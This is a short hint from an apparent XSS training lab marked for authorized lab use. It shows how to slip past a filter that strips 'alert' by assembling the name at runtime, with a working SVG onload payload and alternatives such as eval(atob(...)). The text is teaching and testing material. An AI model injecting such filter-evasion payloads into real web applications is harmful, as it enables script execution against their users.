alert is stripped. Build it dynamically: <svg onload=top[/al/.source+/ert/.source](document.domain)>, or use print() / confirm() / eval(atob(...)).
alert
<svg onload=top[/al/.source+/ert/.source](document.domain)>
print()
confirm()
eval(atob(...))
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only